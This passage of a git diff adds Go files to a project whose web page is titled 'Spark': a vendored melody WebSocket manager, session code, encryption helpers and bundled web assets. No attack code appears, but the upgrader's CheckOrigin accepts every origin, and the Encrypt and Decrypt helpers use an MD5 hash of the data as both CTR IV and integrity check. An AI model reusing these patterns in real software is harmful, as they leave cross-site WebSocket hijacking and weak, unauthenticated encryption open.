CloseGoingAway: true,
|
||||
CloseProtocolError: true,
|
||||
CloseUnsupportedData: true,
|
||||
CloseNoStatusReceived: false,
|
||||
CloseAbnormalClosure: false,
|
||||
CloseInvalidFramePayloadData: true,
|
||||
ClosePolicyViolation: true,
|
||||
CloseMessageTooBig: true,
|
||||
CloseMandatoryExtension: true,
|
||||
CloseInternalServerErr: true,
|
||||
CloseServiceRestart: true,
|
||||
CloseTryAgainLater: true,
|
||||
CloseTLSHandshake: false,
|
||||
}
|
||||
|
||||
type handleMessageFunc func(*Session, []byte)
|
||||
type handleErrorFunc func(*Session, error)
|
||||
type handleCloseFunc func(*Session, int, string) error
|
||||
type handleSessionFunc func(*Session)
|
||||
type filterFunc func(*Session) bool
|
||||
|
||||
// Melody implements a websocket manager.
|
||||
type Melody struct {
|
||||
Config *Config
|
||||
Upgrader *websocket.Upgrader
|
||||
messageHandler handleMessageFunc
|
||||
messageHandlerBinary handleMessageFunc
|
||||
messageSentHandler handleMessageFunc
|
||||
messageSentHandlerBinary handleMessageFunc
|
||||
errorHandler handleErrorFunc
|
||||
closeHandler handleCloseFunc
|
||||
connectHandler handleSessionFunc
|
||||
disconnectHandler handleSessionFunc
|
||||
pongHandler handleSessionFunc
|
||||
hub *hub
|
||||
}
|
||||
|
||||
// New creates a new melody instance with default Upgrader and Config.
|
||||
func New() *Melody {
|
||||
upgrader := &websocket.Upgrader{
|
||||
ReadBufferSize: 1024,
|
||||
WriteBufferSize: 1024,
|
||||
CheckOrigin: func(r *http.Request) bool { return true },
|
||||
}
|
||||
|
||||
hub := newHub()
|
||||
|
||||
go hub.run()
|
||||
|
||||
return &Melody{
|
||||
Config: newConfig(),
|
||||
Upgrader: upgrader,
|
||||
messageHandler: func(*Session, []byte) {},
|
||||
messageHandlerBinary: func(*Session, []byte) {},
|
||||
messageSentHandler: func(*Session, []byte) {},
|
||||
messageSentHandlerBinary: func(*Session, []byte) {},
|
||||
errorHandler: func(*Session, error) {},
|
||||
closeHandler: nil,
|
||||
connectHandler: func(*Session) {},
|
||||
disconnectHandler: func(*Session) {},
|
||||
pongHandler: func(*Session) {},
|
||||
hub: hub,
|
||||
}
|
||||
}
|
||||
|
||||
// HandleConnect fires fn when a session connects.
|
||||
func (m *Melody) HandleConnect(fn func(*Session)) {
|
||||
m.connectHandler = fn
|
||||
}
|
||||
|
||||
// HandleDisconnect fires fn when a session disconnects.
|
||||
func (m *Melody) HandleDisconnect(fn func(*Session)) {
|
||||
m.disconnectHandler = fn
|
||||
}
|
||||
|
||||
// HandlePong fires fn when a pong is received from a session.
|
||||
func (m *Melody) HandlePong(fn func(*Session)) {
|
||||
m.pongHandler = fn
|
||||
}
|
||||
|
||||
// HandleMessage fires fn when a text message comes in.
|
||||
func (m *Melody) HandleMessage(fn func(*Session, []byte)) {
|
||||
m.messageHandler = fn
|
||||
}
|
||||
|
||||
// HandleMessageBinary fires fn when a binary message comes in.
|
||||
func (m *Melody) HandleMessageBinary(fn func(*Session, []byte)) {
|
||||
m.messageHandlerBinary = fn
|
||||
}
|
||||
|
||||
// HandleSentMessage fires fn when a text message is successfully sent.
|
||||
func (m *Melody) HandleSentMessage(fn func(*Session, []byte)) {
|
||||
m.messageSentHandler = fn
|
||||
}
|
||||
|
||||
// HandleSentMessageBinary fires fn when a binary message is successfully sent.
|
||||
func (m *Melody) HandleSentMessageBinary(fn func(*Session, []byte)) {
|
||||
m.messageSentHandlerBinary = fn
|
||||
}
|
||||
|
||||
// HandleError fires fn when a session has an error.
|
||||
func (m *Melody) HandleError(fn func(*Session, error)) {
|
||||
m.errorHandler = fn
|
||||
}
|
||||
|
||||
// HandleClose sets the handler for close messages received from the session.
|
||||
// The code argument to h is the received close code or CloseNoStatusReceived
|
||||
// if the close message is empty. The default close handler sends a close frame
|
||||
// back to the session.
|
||||
//
|
||||
// The application must read the connection to process close messages as
|
||||
// described in the section on Control Frames above.
|
||||
//
|
||||
// The connection read methods return a CloseError when a close frame is
|
||||
// received. Most applications should handle close messages as part of their
|
||||
// normal error handling. Applications should only set a close handler when the
|
||||
// application must perform some action before sending a close frame back to
|
||||
// the session.
|
||||
func (m *Melody) HandleClose(fn func(*Session, int, string) error) {
|
||||
if fn != nil {
|
||||
m.closeHandler = fn
|
||||
}
|
||||
}
|
||||
|
||||
// HandleRequest upgrades http requests to websocket connections and dispatches them to be handled by the melody instance.
|
||||
func (m *Melody) HandleRequest(w http.ResponseWriter, r *http.Request, header http.Header) error {
|
||||
return m.HandleRequestWithKeys(w, r, header, nil)
|
||||
}
|
||||
|
||||
// HandleRequestWithKeys does the same as HandleRequest but populates session.Keys with keys.
|
||||
func (m *Melody) HandleRequestWithKeys(w http.ResponseWriter, r *http.Request, header http.Header, keys map[string]interface{}) error {
|
||||
if m.hub.closed() {
|
||||
return errors.New("melody instance is closed")
|
||||
}
|
||||
|
||||
conn, err := m.Upgrader.Upgrade(w, r, header)
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
session := &Session{
|
||||
Request: r,
|
||||
Keys: keys,
|
||||
UUID: generateUUID(),
|
||||
conn: conn,
|
||||
output: make(chan *envelope, m.Config.MessageBufferSize),
|
||||
melody: m,
|
||||
open: true,
|
||||
rwmutex: &sync.RWMutex{},
|
||||
}
|
||||
|
||||
m.hub.register <- session
|
||||
|
||||
m.connectHandler(session)
|
||||
|
||||
go session.writePump()
|
||||
|
||||
session.readPump()
|
||||
|
||||
if !m.hub.closed() {
|
||||
m.hub.unregister <- session
|
||||
}
|
||||
|
||||
session.close()
|
||||
|
||||
m.disconnectHandler(session)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Broadcast broadcasts a text message to all sessions.
|
||||
func (m *Melody) Broadcast(msg []byte) error {
|
||||
if m.hub.closed() {
|
||||
return errors.New("melody instance is closed")
|
||||
}
|
||||
|
||||
message := &envelope{t: websocket.TextMessage, msg: msg}
|
||||
m.hub.queue <- message
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// BroadcastFilter broadcasts a text message to all sessions that fn returns true for.
|
||||
func (m *Melody) BroadcastFilter(msg []byte, fn func(*Session) bool) error {
|
||||
if m.hub.closed() {
|
||||
return errors.New("melody instance is closed")
|
||||
}
|
||||
|
||||
message := &envelope{t: websocket.TextMessage, msg: msg, filter: fn}
|
||||
m.hub.queue <- message
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// BroadcastOthers broadcasts a text message to all sessions except session s.
|
||||
func (m *Melody) BroadcastOthers(msg []byte, s *Session) error {
|
||||
return m.BroadcastFilter(msg, func(q *Session) bool {
|
||||
return s != q
|
||||
})
|
||||
}
|
||||
|
||||
// BroadcastMultiple broadcasts a text message to multiple sessions given in the sessions slice.
|
||||
func (m *Melody) BroadcastMultiple(msg []byte, sessions []*Session) error {
|
||||
for _, sess := range sessions {
|
||||
if writeErr := sess.Write(msg); writeErr != nil {
|
||||
return writeErr
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BroadcastBinary broadcasts a binary message to all sessions.
|
||||
func (m *Melody) BroadcastBinary(msg []byte) error {
|
||||
if m.hub.closed() {
|
||||
return errors.New("melody instance is closed")
|
||||
}
|
||||
|
||||
message := &envelope{t: websocket.BinaryMessage, msg: msg}
|
||||
m.hub.queue <- message
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// BroadcastBinaryFilter broadcasts a binary message to all sessions that fn returns true for.
|
||||
func (m *Melody) BroadcastBinaryFilter(msg []byte, fn func(*Session) bool) error {
|
||||
if m.hub.closed() {
|
||||
return errors.New("melody instance is closed")
|
||||
}
|
||||
|
||||
message := &envelope{t: websocket.BinaryMessage, msg: msg, filter: fn}
|
||||
m.hub.queue <- message
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// BroadcastBinaryOthers broadcasts a binary message to all sessions except session s.
|
||||
func (m *Melody) BroadcastBinaryOthers(msg []byte, s *Session) error {
|
||||
return m.BroadcastBinaryFilter(msg, func(q *Session) bool {
|
||||
return s != q
|
||||
})
|
||||
}
|
||||
|
||||
// SendToConn sends a binary message to the session with specified uuid.
|
||||
func (m *Melody) SendToConn(msg []byte, uuid string) error {
|
||||
return m.SendMultiple(msg, []string{uuid})
|
||||
}
|
||||
|
||||
// SendMultiple sends a binary message to the sessions with these specified uuid.
|
||||
func (m *Melody) SendMultiple(msg []byte, list []string) error {
|
||||
if m.hub.closed() {
|
||||
return errors.New("melody instance is closed")
|
||||
}
|
||||
|
||||
message := &envelope{t: websocket.BinaryMessage, msg: msg, list: list}
|
||||
m.hub.queue <- message
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetSessionByUUID returns the session with specified uuid.
|
||||
func (m *Melody) GetSessionByUUID(uuid string) (*Session, bool) {
|
||||
val, ok := m.hub.sessions.Get(uuid)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
s, ok := val.(*Session)
|
||||
if !ok {
|
||||
m.hub.sessions.Remove(uuid)
|
||||
}
|
||||
return s, ok
|
||||
}
|
||||
|
||||
// IterSessions iterates all sessions.
|
||||
func (m *Melody) IterSessions(fn func(uuid string, s *Session) bool) {
|
||||
var invalid []string
|
||||
m.hub.sessions.IterCb(func(uuid string, v interface{}) bool {
|
||||
if s, ok := v.(*Session); !ok {
|
||||
invalid = append(invalid, uuid)
|
||||
return true
|
||||
} else {
|
||||
return fn(uuid, s)
|
||||
}
|
||||
})
|
||||
for i := range invalid {
|
||||
m.hub.sessions.Remove(invalid[i])
|
||||
}
|
||||
}
|
||||
|
||||
// Close closes the melody instance and all connected sessions.
|
||||
func (m *Melody) Close() error {
|
||||
if m.hub.closed() {
|
||||
return errors.New("melody instance is already closed")
|
||||
}
|
||||
|
||||
m.hub.exit <- &envelope{t: websocket.CloseMessage, msg: []byte{}}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// CloseWithMsg closes the melody instance with the given close payload and all connected sessions.
|
||||
// Use the FormatCloseMessage function to format a proper close message payload.
|
||||
func (m *Melody) CloseWithMsg(msg []byte) error {
|
||||
if m.hub.closed() {
|
||||
return errors.New("melody instance is already closed")
|
||||
}
|
||||
|
||||
m.hub.exit <- &envelope{t: websocket.CloseMessage, msg: msg}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Len return the number of connected sessions.
|
||||
func (m *Melody) Len() int {
|
||||
return m.hub.len()
|
||||
}
|
||||
|
||||
// IsClosed returns the status of the melody instance.
|
||||
func (m *Melody) IsClosed() bool {
|
||||
return m.hub.closed()
|
||||
}
|
||||
|
||||
// FormatCloseMessage formats closeCode and text as a WebSocket close message.
|
||||
func FormatCloseMessage(closeCode int, text string) []byte {
|
||||
return websocket.FormatCloseMessage(closeCode, text)
|
||||
}
|
225
utils/melody/session.go
Normal file
225
utils/melody/session.go
Normal file
@@ -0,0 +1,225 @@
|
||||
package melody
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
ws "github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// Session wrapper around websocket connections.
|
||||
type Session struct {
|
||||
Request *http.Request
|
||||
Keys map[string]interface{}
|
||||
UUID string
|
||||
conn *ws.Conn
|
||||
output chan *envelope
|
||||
melody *Melody
|
||||
open bool
|
||||
rwmutex *sync.RWMutex
|
||||
}
|
||||
|
||||
func (s *Session) writeMessage(message *envelope) {
|
||||
if s.closed() {
|
||||
s.melody.errorHandler(s, errors.New("tried to write to closed a session"))
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case s.output <- message:
|
||||
default:
|
||||
s.melody.errorHandler(s, errors.New("session message buffer is full"))
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Session) writeRaw(message *envelope) error {
|
||||
if s.closed() {
|
||||
return errors.New("tried to write to a closed session")
|
||||
}
|
||||
|
||||
s.conn.SetWriteDeadline(time.Now().Add(s.melody.Config.WriteWait))
|
||||
err := s.conn.WriteMessage(message.t, message.msg)
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Session) closed() bool {
|
||||
s.rwmutex.RLock()
|
||||
defer s.rwmutex.RUnlock()
|
||||
|
||||
return !s.open
|
||||
}
|
||||
|
||||
func (s *Session) close() {
|
||||
if !s.closed() {
|
||||
s.rwmutex.Lock()
|
||||
s.open = false
|
||||
s.conn.Close()
|
||||
close(s.output)
|
||||
s.rwmutex.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Session) ping() {
|
||||
s.writeRaw(&envelope{t: ws.PingMessage, msg: []byte{}})
|
||||
}
|
||||
|
||||
func (s *Session) writePump() {
|
||||
ticker := time.NewTicker(s.melody.Config.PingPeriod)
|
||||
defer ticker.Stop()
|
||||
|
||||
loop:
|
||||
for {
|
||||
select {
|
||||
case msg, ok := <-s.output:
|
||||
if !ok {
|
||||
break loop
|
||||
}
|
||||
|
||||
err := s.writeRaw(msg)
|
||||
|
||||
if err != nil {
|
||||
s.melody.errorHandler(s, err)
|
||||
break loop
|
||||
}
|
||||
|
||||
if msg.t == ws.CloseMessage {
|
||||
break loop
|
||||
}
|
||||
|
||||
if msg.t == ws.TextMessage {
|
||||
s.melody.messageSentHandler(s, msg.msg)
|
||||
}
|
||||
|
||||
if msg.t == ws.BinaryMessage {
|
||||
s.melody.messageSentHandlerBinary(s, msg.msg)
|
||||
}
|
||||
case <-ticker.C:
|
||||
s.ping()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Session) readPump() {
|
||||
s.conn.SetReadLimit(s.melody.Config.MaxMessageSize)
|
||||
s.conn.SetReadDeadline(time.Now().Add(s.melody.Config.PongWait))
|
||||
|
||||
s.conn.SetPongHandler(func(string) error {
|
||||
s.conn.SetReadDeadline(time.Now().Add(s.melody.Config.PongWait))
|
||||
s.melody.pongHandler(s)
|
||||
return nil
|
||||
})
|
||||
|
||||
if s.melody.closeHandler != nil {
|
||||
s.conn.SetCloseHandler(func(code int, text string) error {
|
||||
return s.melody.closeHandler(s, code, text)
|
||||
})
|
||||
}
|
||||
|
||||
for {
|
||||
t, message, err := s.conn.ReadMessage()
|
||||
|
||||
if err != nil {
|
||||
s.melody.errorHandler(s, err)
|
||||
break
|
||||
}
|
||||
|
||||
if t == ws.TextMessage {
|
||||
s.melody.messageHandler(s, message)
|
||||
}
|
||||
|
||||
if t == ws.BinaryMessage {
|
||||
s.melody.messageHandlerBinary(s, message)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Write writes message to session.
|
||||
func (s *Session) Write(msg []byte) error {
|
||||
if s.closed() {
|
||||
return errors.New("session is closed")
|
||||
}
|
||||
|
||||
s.writeMessage(&envelope{t: ws.TextMessage, msg: msg})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteBinary writes a binary message to session.
|
||||
func (s *Session) WriteBinary(msg []byte) error {
|
||||
if s.closed() {
|
||||
return errors.New("session is closed")
|
||||
}
|
||||
|
||||
s.writeMessage(&envelope{t: ws.BinaryMessage, msg: msg})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close closes session.
|
||||
func (s *Session) Close() error {
|
||||
if s.closed() {
|
||||
return errors.New("session is already closed")
|
||||
}
|
||||
|
||||
s.writeMessage(&envelope{t: ws.CloseMessage, msg: []byte{}})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// CloseWithMsg closes the session with the provided payload.
|
||||
// Use the FormatCloseMessage function to format a proper close message payload.
|
||||
func (s *Session) CloseWithMsg(msg []byte) error {
|
||||
if s.closed() {
|
||||
return errors.New("session is already closed")
|
||||
}
|
||||
|
||||
s.writeMessage(&envelope{t: ws.CloseMessage, msg: msg})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Set is used to store a new key/value pair exclusivelly for this session.
|
||||
// It also lazy initializes s.Keys if it was not used previously.
|
||||
func (s *Session) Set(key string, value interface{}) {
|
||||
if s.Keys == nil {
|
||||
s.Keys = make(map[string]interface{})
|
||||
}
|
||||
|
||||
s.Keys[key] = value
|
||||
}
|
||||
|
||||
// Get returns the value for the given key, ie: (value, true).
|
||||
// If the value does not exists it returns (nil, false)
|
||||
func (s *Session) Get(key string) (value interface{}, exists bool) {
|
||||
if s.Keys != nil {
|
||||
value, exists = s.Keys[key]
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// MustGet returns the value for the given key if it exists, otherwise it panics.
|
||||
func (s *Session) MustGet(key string) interface{} {
|
||||
if value, exists := s.Get(key); exists {
|
||||
return value
|
||||
}
|
||||
|
||||
panic("Key \"" + key + "\" does not exist")
|
||||
}
|
||||
|
||||
// IsClosed returns the status of the connection.
|
||||
func (s *Session) IsClosed() bool {
|
||||
return s.closed()
|
||||
}
|
||||
|
||||
// GetWSConn returns the original websocket connection.
|
||||
func (s *Session) GetWSConn() *ws.Conn {
|
||||
return s.conn
|
||||
}
|
12
utils/melody/utilities.go
Normal file
12
utils/melody/utilities.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package melody
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func generateUUID() string {
|
||||
buf := make([]byte, 16)
|
||||
rand.Reader.Read(buf)
|
||||
return fmt.Sprintf(`%x-%x-%x-%x-%x`, buf[0:4], buf[4:6], buf[6:8], buf[8:10], buf[10:16])
|
||||
}
|
80
utils/utils.go
Normal file
80
utils/utils.go
Normal file
@@ -0,0 +1,80 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/md5"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
jsoniter "github.com/json-iterator/go"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrUnsupported = errors.New(`unsupported operation`)
|
||||
ErrEntityInvalid = errors.New(`entity is not valid`)
|
||||
ErrFailedVerification = errors.New(`failed to verify entity`)
|
||||
JSON = jsoniter.ConfigCompatibleWithStandardLibrary
|
||||
)
|
||||
func GenRandByte(n int) []byte {
|
||||
secBuffer := make([]byte, n)
|
||||
rand.Reader.Read(secBuffer)
|
||||
return secBuffer
|
||||
}
|
||||
|
||||
func GetStrUUID() string {
|
||||
return hex.EncodeToString(GenRandByte(16))
|
||||
}
|
||||
|
||||
func GetUUID() []byte {
|
||||
return GenRandByte(16)
|
||||
}
|
||||
|
||||
func GetMD5(data []byte) ([]byte, string) {
|
||||
hash := md5.New()
|
||||
hash.Write(data)
|
||||
result := hash.Sum(nil)
|
||||
return result, hex.EncodeToString(result)
|
||||
}
|
||||
|
||||
func Encrypt(data []byte, key []byte) ([]byte, error) {
|
||||
//fmt.Println(`Send: `, string(data))
|
||||
|
||||
nonce := make([]byte, 64)
|
||||
rand.Reader.Read(nonce)
|
||||
data = append(data, nonce...)
|
||||
|
||||
hash, _ := GetMD5(data)
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
stream := cipher.NewCTR(block, hash)
|
||||
encBuffer := make([]byte, len(data))
|
||||
stream.XORKeyStream(encBuffer, data)
|
||||
return append(hash, encBuffer...), nil
|
||||
}
|
||||
|
||||
func Decrypt(data []byte, key []byte) ([]byte, error) {
|
||||
// MD5[16 bytes] + Data[n bytes] + Nonce[64 bytes]
|
||||
dataLen := len(data)
|
||||
if dataLen <= 16+64 {
|
||||
return nil, ErrEntityInvalid
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
stream := cipher.NewCTR(block, data[:16])
|
||||
decBuffer := make([]byte, dataLen-16)
|
||||
stream.XORKeyStream(decBuffer, data[16:])
|
||||
|
||||
hash, _ := GetMD5(decBuffer)
|
||||
if !bytes.Equal(hash, data[:16]) {
|
||||
return nil, ErrFailedVerification
|
||||
}
|
||||
|
||||
//fmt.Println(`Recv: `, string(decBuffer[:dataLen-16-64]))
|
||||
return decBuffer[:dataLen-16-64], nil
|
||||
}
|
11
web/.babelrc
Normal file
11
web/.babelrc
Normal file
@@ -0,0 +1,11 @@
|
||||
{
|
||||
presets: [
|
||||
[
|
||||
'@babel/preset-env',
|
||||
{
|
||||
modules: false
|
||||
}
|
||||
],
|
||||
'@babel/preset-react'
|
||||
]
|
||||
}
|
1
web/build.web.bat
Normal file
1
web/build.web.bat
Normal file
@@ -0,0 +1 @@
|
||||
npm run build-prod
|
99
web/dist/3bb7aeaa43694e7a1aa7.svg
vendored
Normal file
99
web/dist/3bb7aeaa43694e7a1aa7.svg
vendored
Normal file
@@ -0,0 +1,99 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg width="1361px" height="609px" viewBox="0 0 1361 609" version="1.1" xmlns="http://www.w3.org/2000/svg">
|
||||
<g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
|
||||
<g transform="translate(-79.000000, -82.000000)">
|
||||
<g transform="translate(77.000000, 73.000000)">
|
||||
<g opacity="0.8"
|
||||
transform="translate(74.901416, 569.699158) rotate(-7.000000) translate(-74.901416, -569.699158) translate(4.901416, 525.199158)">
|
||||
<ellipse fill="#CFDAE6" opacity="0.25" cx="63.5748792" cy="32.468367" rx="21.7830479"
|
||||
ry="21.766008"></ellipse>
|
||||
<ellipse fill="#CFDAE6" opacity="0.599999964" cx="5.98746479" cy="13.8668601" rx="5.2173913"
|
||||
ry="5.21330997"></ellipse>
|
||||
<path d="M38.1354514,88.3520215 C43.8984227,88.3520215 48.570234,83.6838647 48.570234,77.9254015 C48.570234,72.1669383 43.8984227,67.4987816 38.1354514,67.4987816 C32.3724801,67.4987816 27.7006688,72.1669383 27.7006688,77.9254015 C27.7006688,83.6838647 32.3724801,88.3520215 38.1354514,88.3520215 Z"
|
||||
fill="#CFDAE6" opacity="0.45"></path>
|
||||
<path d="M64.2775582,33.1704963 L119.185836,16.5654915" stroke="#CFDAE6" stroke-width="1.73913043"
|
||||
stroke-linecap="round" stroke-linejoin="round"></path>
|
||||
<path d="M42.1431708,26.5002681 L7.71190162,14.5640702" stroke="#E0B4B7" stroke-width="0.702678964"
|
||||
opacity="0.7" stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-dasharray="1.405357899873153,2.108036953469981"></path>
|
||||
<path d="M63.9262187,33.521561 L43.6721326,69.3250951" stroke="#BACAD9" stroke-width="0.702678964"
|
||||
stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-dasharray="1.405357899873153,2.108036953469981"></path>
|
||||
<g transform="translate(126.850922, 13.543654) rotate(30.000000) translate(-126.850922, -13.543654) translate(117.285705, 4.381889)"
|
||||
fill="#CFDAE6">
|
||||
<ellipse opacity="0.45" cx="9.13482653" cy="9.12768076" rx="9.13482653"
|
||||
ry="9.12768076"></ellipse>
|
||||
<path d="M18.2696531,18.2553615 C18.2696531,13.2142826 14.1798519,9.12768076 9.13482653,9.12768076 C4.08980114,9.12768076 0,13.2142826 0,18.2553615 L18.2696531,18.2553615 Z"
|
||||
transform="translate(9.134827, 13.691521) scale(-1, -1) translate(-9.134827, -13.691521) "></path>
|
||||
</g>
|
||||
</g>
|
||||
<g transform="translate(216.294700, 123.725600) rotate(-5.000000) translate(-216.294700, -123.725600) translate(106.294700, 35.225600)">
|
||||
<ellipse fill="#CFDAE6" opacity="0.25" cx="29.1176471" cy="29.1402439" rx="29.1176471"
|
||||
ry="29.1402439"></ellipse>
|
||||
<ellipse fill="#CFDAE6" opacity="0.3" cx="29.1176471" cy="29.1402439" rx="21.5686275"
|
||||
ry="21.5853659"></ellipse>
|
||||
<ellipse stroke="#CFDAE6" opacity="0.4" cx="179.019608" cy="138.146341" rx="23.7254902"
|
||||
ry="23.7439024"></ellipse>
|
||||
<ellipse fill="#BACAD9" opacity="0.5" cx="29.1176471" cy="29.1402439" rx="10.7843137"
|
||||
ry="10.7926829"></ellipse>
|
||||
<path d="M29.1176471,39.9329268 L29.1176471,18.347561 C23.1616351,18.347561 18.3333333,23.1796097 18.3333333,29.1402439 C18.3333333,35.1008781 23.1616351,39.9329268 29.1176471,39.9329268 Z"
|
||||
fill="#BACAD9"></path>
|
||||
<g opacity="0.45" transform="translate(172.000000, 131.000000)" fill="#E6A1A6">
|
||||
<ellipse cx="7.01960784" cy="7.14634146" rx="6.47058824" ry="6.47560976"></ellipse>
|
||||
<path d="M0.549019608,13.6219512 C4.12262681,13.6219512 7.01960784,10.722722 7.01960784,7.14634146 C7.01960784,3.56996095 4.12262681,0.670731707 0.549019608,0.670731707 L0.549019608,13.6219512 Z"
|
||||
transform="translate(3.784314, 7.146341) scale(-1, 1) translate(-3.784314, -7.146341) "></path>
|
||||
</g>
|
||||
<ellipse fill="#CFDAE6" cx="218.382353" cy="138.685976" rx="1.61764706" ry="1.61890244"></ellipse>
|
||||
<ellipse fill="#E0B4B7" opacity="0.35" cx="179.558824" cy="175.381098" rx="1.61764706"
|
||||
ry="1.61890244"></ellipse>
|
||||
<ellipse fill="#E0B4B7" opacity="0.35" cx="180.098039" cy="102.530488" rx="2.15686275"
|
||||
ry="2.15853659"></ellipse>
|
||||
<path d="M28.9985381,29.9671598 L171.151018,132.876024" stroke="#CFDAE6" opacity="0.8"></path>
|
||||
</g>
|
||||
<g opacity="0.799999952"
|
||||
transform="translate(1054.100635, 36.659317) rotate(-11.000000) translate(-1054.100635, -36.659317) translate(1026.600635, 4.659317)">
|
||||
<ellipse stroke="#CFDAE6" stroke-width="0.941176471" cx="43.8135593" cy="32" rx="11.1864407"
|
||||
ry="11.2941176"></ellipse>
|
||||
<g transform="translate(34.596774, 23.111111)" fill="#BACAD9">
|
||||
<ellipse opacity="0.45" cx="9.18534718" cy="8.88888889" rx="8.47457627"
|
||||
ry="8.55614973"></ellipse>
|
||||
<path d="M9.18534718,17.4450386 C13.8657264,17.4450386 17.6599235,13.6143199 17.6599235,8.88888889 C17.6599235,4.16345787 13.8657264,0.332739156 9.18534718,0.332739156 L9.18534718,17.4450386 Z"></path>
|
||||
</g>
|
||||
<path d="M34.6597385,24.809694 L5.71666084,4.76878945" stroke="#CFDAE6"
|
||||
stroke-width="0.941176471"></path>
|
||||
<ellipse stroke="#CFDAE6" stroke-width="0.941176471" cx="3.26271186" cy="3.29411765" rx="3.26271186"
|
||||
ry="3.29411765"></ellipse>
|
||||
<ellipse fill="#F7E1AD" cx="2.79661017" cy="61.1764706" rx="2.79661017" ry="2.82352941"></ellipse>
|
||||
<path d="M34.6312443,39.2922712 L5.06366663,59.785082" stroke="#CFDAE6"
|
||||
stroke-width="0.941176471"></path>
|
||||
</g>
|
||||
<g opacity="0.33"
|
||||
transform="translate(1282.537219, 446.502867) rotate(-10.000000) translate(-1282.537219, -446.502867) translate(1142.537219, 327.502867)">
|
||||
<g transform="translate(141.333539, 104.502742) rotate(275.000000) translate(-141.333539, -104.502742) translate(129.333539, 92.502742)"
|
||||
fill="#BACAD9">
|
||||
<circle opacity="0.45" cx="11.6666667" cy="11.6666667" r="11.6666667"></circle>
|
||||
<path d="M23.3333333,23.3333333 C23.3333333,16.8900113 18.1099887,11.6666667 11.6666667,11.6666667 C5.22334459,11.6666667 0,16.8900113 0,23.3333333 L23.3333333,23.3333333 Z"
|
||||
transform="translate(11.666667, 17.500000) scale(-1, -1) translate(-11.666667, -17.500000) "></path>
|
||||
</g>
|
||||
<circle fill="#CFDAE6" cx="201.833333" cy="87.5" r="5.83333333"></circle>
|
||||
<path d="M143.5,88.8126685 L155.070501,17.6038544" stroke="#BACAD9"
|
||||
stroke-width="1.16666667"></path>
|
||||
<path d="M17.5,37.3333333 L127.466252,97.6449735" stroke="#BACAD9" stroke-width="1.16666667"></path>
|
||||
<polyline stroke="#CFDAE6" stroke-width="1.16666667"
|
||||
points="143.902597 120.302281 174.935455 231.571342 38.5 147.510847 126.366941 110.833333"></polyline>
|
||||
<path d="M159.833333,99.7453842 L195.416667,89.25" stroke="#E0B4B7" stroke-width="1.16666667"
|
||||
opacity="0.6"></path>
|
||||
<path d="M205.333333,82.1372105 L238.719406,36.1666667" stroke="#BACAD9"
|
||||
stroke-width="1.16666667"></path>
|
||||
<path d="M266.723424,132.231988 L207.083333,90.4166667" stroke="#CFDAE6"
|
||||
stroke-width="1.16666667"></path>
|
||||
<circle fill="#C1D1E0" cx="156.916667" cy="8.75" r="8.75"></circle>
|
||||
<circle fill="#C1D1E0" cx="39.0833333" cy="148.75" r="5.25"></circle>
|
||||
<circle fill-opacity="0.6" fill="#D1DEED" cx="8.75" cy="33.25" r="8.75"></circle>
|
||||
<circle fill-opacity="0.6" fill="#D1DEED" cx="243.833333" cy="30.3333333" r="5.83333333"></circle>
|
||||
<circle fill="#E0B4B7" cx="175.583333" cy="232.75" r="5.25"></circle>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
After Width: | Height: | Size: 8.7 KiB |
1
web/dist/index.html
vendored
Normal file
1
web/dist/index.html
vendored
Normal file
@@ -0,0 +1 @@
|
||||
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"/><meta content="width=device-width,initial-scale=1" name="viewport"/><meta content="#000000" name="theme-color"/><title>Spark</title><script defer="defer" src="./runtime.js"></script><script defer="defer" src="./vendors.js"></script><script defer="defer" src="./main.js"></script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>
|
1
web/dist/main.js
vendored
Normal file
1
web/dist/main.js
vendored
Normal file
File diff suppressed because one or more lines are too long
1
web/dist/runtime.js
vendored
Normal file
1
web/dist/runtime.js
vendored
Normal file
File diff suppressed because one or more lines are too long
1
web/dist/vendors.js
vendored
